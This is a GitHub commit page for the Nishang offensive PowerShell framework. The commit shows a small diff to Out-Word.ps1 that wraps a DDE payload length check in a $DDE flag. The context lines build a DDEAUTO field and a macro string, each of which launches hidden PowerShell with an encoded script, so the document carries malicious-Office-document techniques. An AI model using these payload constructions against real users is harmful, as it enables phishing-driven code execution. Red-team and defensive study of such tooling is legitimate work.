Skip to content

Commit

Permalink
Minor bug fix in Out-Word
Browse files Browse the repository at this point in the history
  • Loading branch information
samratashok committed Oct 18, 2017
1 parent 5606484 commit fa64a7b
Showing 1 changed file with 6 additions and 3 deletions.
9 changes: 6 additions & 3 deletions Client/Out-Word.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -242,10 +242,13 @@ https://github.com/samratashok/nishang

#Encoded script payload for DDE - length limit of 255 characters so mostly useful only for encoded cradles
$DDEPayload = "DDEAUTO ""C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"" "" -e $EncScript"""
if ($DDEPayload.Length -ge 255)
if ($DDE)
{
Write-Warning "DDE Attack cannot have payload longer than 255 characters. Exiting..."
break
if ($DDEPayload.Length -ge 255)
{
Write-Warning "DDE Attack cannot have payload longer than 255 characters. Exiting..."
break
}
}
#Encoded script payload for Macro
$Payload = "powershell.exe -WindowStyle hidden -nologo -noprofile -e $EncScript"
Expand Down

0 comments on commit fa64a7b

Please sign in to comment.